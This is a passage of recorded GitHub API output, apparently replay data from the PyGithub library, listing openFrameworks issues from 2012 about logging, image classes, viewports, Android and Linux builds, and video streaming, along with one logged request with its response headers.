ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-23T05:12:47Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351643,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T04:19:48Z","body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","comments":0,"milestone":null,"number":929,"html_url":"https://github.com/openframeworks/openFrameworks/issues/929","assignee":null,"title":"ofGetLogLevel should also accept modules","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-23T04:19:48Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351374,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T03:46:32Z","body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","comments":0,"milestone":null,"number":928,"html_url":"https://github.com/openframeworks/openFrameworks/issues/928","assignee":null,"title":"no ofGetBackground()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-23T03:46:32Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351170,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T19:12:56Z","body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","comments":0,"milestone":null,"number":926,"html_url":"https://github.com/openframeworks/openFrameworks/issues/926","assignee":null,"title":"ofGetViewportWidth/Height returns 0 at startup","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-22T19:12:56Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3341020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T00:28:08Z","body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","comments":0,"milestone":null,"number":925,"html_url":"https://github.com/openframeworks/openFrameworks/issues/925","assignee":null,"title":"ofImage has type as int, public vars, & missing getBPP, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-22T00:28:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3324501,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:41:17Z","body":"As requested in https://github.com/openframeworks/openFrameworks/pull/794 I've branched openframeworks:develop into my own branch and applied the fixes required to build openFrameworks for Android with MinGW on the windows platform.\r\n\r\nThe instructions on how to compile are still valid (except for the part of patching):\r\nhttp://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n\r\nNote 1: You will need to run:\r\nandroid.bat update project --target android-8 --path C:\\openFrameworks\\addons\\ofxAndroid\\ofAndroidLib\r\n\r\nThis updates the project files for ofAndroidLib project. I didn't included those because those are user specific (they contain the path to the sdk)\r\n\r\nNote 2: d3ddf8e1 \r\nI only added this commit in order to make the examples build properly. Someone still needs to fix the proper implementation.\r\n\r\nNote 3: 7a9cf0ba\r\nWhile working on NodeBeat, we found out that not all devices are using /mnt/sdcard as their external storage location. In some cases the sdcard is located somewhere else (\"Environment.getExternalStorageDirectory()\" doesnt always return the correct location). This commit fixes this problem by checking several locations as reported on multiple Stackoverflow threads. More info about this issue can be found in the commit description.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/922","comments":13,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":922,"html_url":"https://github.com/openframeworks/openFrameworks/issues/922","assignee":null,"title":"Windows compatibility patches and External storage location fixes.","labels":[],"closed_at":null,"created_at":"2012-02-19T23:30:24Z","state":"open","user":{"url":"https://api.github.com/users/falcon4ever","avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","login":"falcon4ever","id":480019},"id":3288053,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/922.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/922","patch_url":"https://github.com/openframeworks/openFrameworks/pull/922.patch"}},{"updated_at":"2012-02-16T09:39:46Z","body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","comments":0,"milestone":null,"number":920,"html_url":"https://github.com/openframeworks/openFrameworks/issues/920","assignee":null,"title":"Transform stack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-16T09:39:46Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248309,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-16T09:31:24Z","body":"There is an easy-to-correct error in ofNode::transformGL:\r\nIt should call loadMatrix with globalTransformMatrix as parameter (with a void restoreGL), or pushMatrix then multMatrix with localTransformMatrix (with a restoreGL that pops the previously pushed matrix),\r\nNOT push then mult with global. The bug appears as soon as you have got more than one level of depth in your node tree. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919","comments":0,"milestone":null,"number":919,"html_url":"https://github.com/openframeworks/openFrameworks/issues/919","assignee":null,"title":"Error in ofNode::transformGL","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-16T09:31:24Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248230,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-08T10:15:31Z","body":"vs2010 does not include stdint.h support:\r\n\r\nhttp://stackoverflow.com/questions/126279/c99-stdint-h-header-and-ms-visual-studio\r\n\r\nwhich causes addon bugs like this:\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/559\r\nhttps://github.com/kylemcdonald/ofxCv/issues/28\r\n\r\neven though these bugs aren't in the core, i think OF is designed to make it easy for people to write cross-platform, cross-compiler code. so i propose that we add an explicit declaration of the missing types for vs2010.\r\n\r\nthis isn't really something i'm worried about directly since i don't use vs2010, but i know people like elliot do. and it would be cleaner to add it once to the core than to add it once for every addon that is broken.\r\n\r\nthe solution would probably look like: take dan's code from the above issue, and move it from ofxOsc into the core.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/917","comments":5,"milestone":null,"number":917,"html_url":"https://github.com/openframeworks/openFrameworks/issues/917","assignee":null,"title":"add global stdint.h support?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2012-02-15T02:38:17Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3229504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:55:20Z","body":"to match ofGetWidth(), ofGetHeight()\r\n\r\ni.e. for ofGetMouseX() / ofGetWidth()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916","comments":1,"milestone":null,"number":916,"html_url":"https://github.com/openframeworks/openFrameworks/issues/916","assignee":null,"title":"ofGetMouseX() and ofGetMouseY() should return float","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-14T05:17:47Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3214174,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-13T08:16:08Z","body":"I had downloaded the 007 version, when I run of_preRelease_v007_linux/scripts/linux/debian/install_codeblocks.sh it install codeblocks without error, but when I run preRelease_v007_linux/scripts/linux/debian/install_dependencies.sh I get this error\r\n\r\ncompiling object for ../../../openFrameworks/graphics/ofGraphics.cpp\r\nmkdir -p obj/Debug/openFrameworks/graphics\r\ng++ -g3 -Wall -fexceptions -I../../../FreeImage/include -I../../../assimp/include -I../../../assimp/include/Compiler -I../../../cairo/include -I../../../cairo/include/cairo -I../../../cairo/include/pixman-1 -I../../../cairo/include/libpng15 -I../../../fmodex/include -I../../../freetype/include -I../../../freetype/include/freetype2 -I../../../freetype/include/freetype2/freetype -I../../../freetype/include/freetype2/freetype/config -I../../../freetype/include/freetype2/freetype/internal -I../../../freetype/include/freetype2/freetype/internal/services -I../../../glew/include -I../../../glew/include/GL -I../../../kiss/include -I../../../portaudio/include -I../../../rtAudio/include -I../../../tess2/include -I../../../poco/include -I../../../glu/include -I../../../openFrameworks/ -I../../../openFrameworks/3d -I../../../openFrameworks/math -I../../../openFrameworks/types -I../../../openFrameworks/graphics -I../../../openFrameworks/utils -I../../../openFrameworks/app -I../../../openFrameworks/video -I../../../openFrameworks/events -I../../../openFrameworks/communication -I../../../openFrameworks/gl -I../../../openFrameworks/sound -pthread -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -DOF_USING_GTK -MMD -MP -MFobj/Debug/openFrameworks/graphics/ofGraphics.d -MTobj/Debug/openFrameworks/graphics/ofGraphics.d -o obj/Debug/openFrameworks/graphics/ofGraphics.o -c ../../../openFrameworks/graphics/ofGraphics.cpp\r\n../../../openFrameworks/graphics/ofGraphics.cpp:37:22: warning: GL/glut.h: No such file or directory\r\n../../../openFrameworks/graphics/ofGraphics.cpp: In function ‘void ofSphere(float)’:\r\n../../../openFrameworks/graphics/ofGraphics.cpp:889: error: ‘glutSolidSphere’ was not declared in this scope\r\n../../../openFrameworks/graphics/ofGraphics.cpp:891: error: ‘glutWireSphere’ was not declared in this scope\r\nmake: *** [obj/Debug/openFrameworks/graphics/ofGraphics.o] Error 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/915","comments":2,"milestone":null,"number":915,"html_url":"https://github.com/openframeworks/openFrameworks/issues/915","assignee":null,"title":"problems installing dependencies in debian 6.0.4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2012-02-13T05:45:01Z","state":"open","user":{"url":"https://api.github.com/users/atomsfat","avatar_url":"https://secure.gravatar.com/avatar/f732e5a8b77f8e4ed8fadc2c71916236?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f732e5a8b77f8e4ed8fadc2c71916236","login":"atomsfat","id":140008},"id":3196145,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-12T04:41:26Z","body":"We have ofSetDataPathRoot() .... it makes sense to have a Getter as well. Basically I wanted the absolute path to the root data folder.\r\n\r\nI managed to fake this by calling ofToDataPath(\".\",true) but this seems a little counter-intuitive.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914","comments":0,"milestone":null,"number":914,"html_url":"https://github.com/openframeworks/openFrameworks/issues/914","assignee":null,"title":"Add ofGetDataPathRoot","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-12T04:41:26Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":3189189,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:56:56Z","body":"it would be amazing if ofBeginShape()/ofEndShape() and ofPath supported tex coords (maybe ofTexCoord() and addTexCoord()).\r\n\r\nthis would allow for drawing arbitrary subsections of an image, or for creating an ofMesh that is texture mapped by an image.\r\n\r\nprocessing handles this with extra arguments to vertex() http://processing.org/reference/texture_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909","comments":3,"milestone":null,"number":909,"html_url":"https://github.com/openframeworks/openFrameworks/issues/909","assignee":null,"title":"shapes with texCoords","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-10T01:42:42Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3166745,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T08:16:47Z","body":"a student just showed me how you can use the xcode templates for pocode to create a new project wherever you want on the disk. i know we used to have xcode templates for this, but i just tried them and it seems to be hilariously broken.\r\n\r\ni'm not sure if the new project creator stuff covers this idea or not, but it would be great to have a similar ability with OF somehow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902","comments":2,"milestone":null,"number":902,"html_url":"https://github.com/openframeworks/openFrameworks/issues/902","assignee":null,"title":"Xcode templates should be fixed or removed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-09T04:30:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3152323,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-08T21:50:23Z","body":"to draw a filled ofPolyline right now, you need to use beginshape/endshape. but i think a way of adding ofPolylines to an ofPath would be really good -- even a conversion from ofPolyline to ofPath might make sense. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901","comments":0,"milestone":null,"number":901,"html_url":"https://github.com/openframeworks/openFrameworks/issues/901","assignee":null,"title":"easier filled ofPolyline, or easy ofPolyline->ofPath conversion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-08T21:50:23Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3148441,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T14:46:48Z","body":"Hi.\r\n\r\nI've been trying to load stream video ( mpeg2 .ts and hls .m3u8 ) using OF on MacOS 10.7.2.\r\n\r\nBoth cases causes error -2048 in the line below: ( l:89, ofQuickTimePlayer.cpp )\r\n\r\n```c++\r\nerr = NewMovieFromDataRef(&movie, newMovieAsyncOK,nil, urlDataRef, URLDataHandlerSubType);\r\n```\r\n\r\nLoading remote .mp4 works perect. Loading same streams in QuickTime player(v10.1) works without any troubles.\r\n\r\nSo, it seems the trouble happens just when no videofile size info returned from server.\r\n\r\nIs it a bug? Or I've missed smthng?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/897","comments":4,"milestone":null,"number":897,"html_url":"https://github.com/openframeworks/openFrameworks/issues/897","assignee":null,"title":"ofQuickTimePlayer.createMovieFromURL fails on streaming video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-06T11:42:08Z","state":"open","user":{"url":"https://api.github.com/users/4pcbr","avatar_url":"https://secure.gravatar.com/avatar/52e8e29748826594f27b5c6c20a353e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"52e8e29748826594f27b5c6c20a353e0","login":"4pcbr","id":247109},"id":3106705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-05T17:11:59Z","body":"This concerns libraries included in addons in source form. According to [this issue](https://github.com/chrisoshea/ofxMidi/issues/8) reported by @danomatika, the makefile can only compile libraries' source code if they are in an addon's `/src` folder. This is in contradiction with @obviousjim's guide to addons' folder structure at http://ofxaddons.com/howto.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896","comments":6,"milestone":null,"number":896,"html_url":"https://github.com/openframeworks/openFrameworks/issues/896","assignee":null,"title":"Makefile and ofxaddons.com guide don't agree regarding file structure","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-02-05T15:20:42Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3099567,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-10T02:47:13Z","body":"it needs to handle all these things:\r\n\r\n- meshes vs point clouds\r\n- different types of meshes (depending on the triangles)\r\n- indexed vs non-indexed geometry\r\n- colors, normals, texcoords\r\n- ascii vs binary\r\n- loading from externally created/defined ply files","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880","comments":1,"milestone":null,"number":880,"html_url":"https://github.com/openframeworks/openFrameworks/issues/880","assignee":null,"title":"test ofMesh::load/save rigorously","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-01-25T16:55:09Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2967700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"If you set the proper switches on the iphone sound stream you can get it to play over whatever is playing on the users ipod without muting it. There are a bunch of switches for this behavior detailed in kAudioSessionProperty_Mode.\r\n\r\nThese would need to be set before initing the audio session. The other issue is that there are like 15-20 flags you can set. Maybe just a slightly higher level setting on the stream so that these behaivors could be set in the users testapp.mm","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878","comments":0,"milestone":null,"number":878,"html_url":"https://github.com/openframeworks/openFrameworks/issues/878","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"add a switch to the iphone soundstream to support ambient","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-24T16:41:17Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":2952993,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:33:39Z","body":"change pan range to -1..1, right now is 0..1","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/875","comments":2,"milestone":null,"number":875,"html_url":"https://github.com/openframeworks/openFrameworks/issues/875","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"ofOpenALSoundPlayer pan -1..1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-21T00:01:45Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":2918619,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4938'), ('content-length', '49322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"93bd237d518e2c23c29e5e7b340262a8"'), ('date', 'Tue, 29 May 2012 19:27:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T05:09:49Z","body":" testImg.saveImage(ofxiPhoneGetDocumentsDirectory() + \"test.png\");\r\ncrashes the App and results in this error:\r\n\r\nProgram received signal: \"SIGARBT\".\r\n\r\nerror thrown in this line:\r\n\r\n FreeImage_Save(fif, 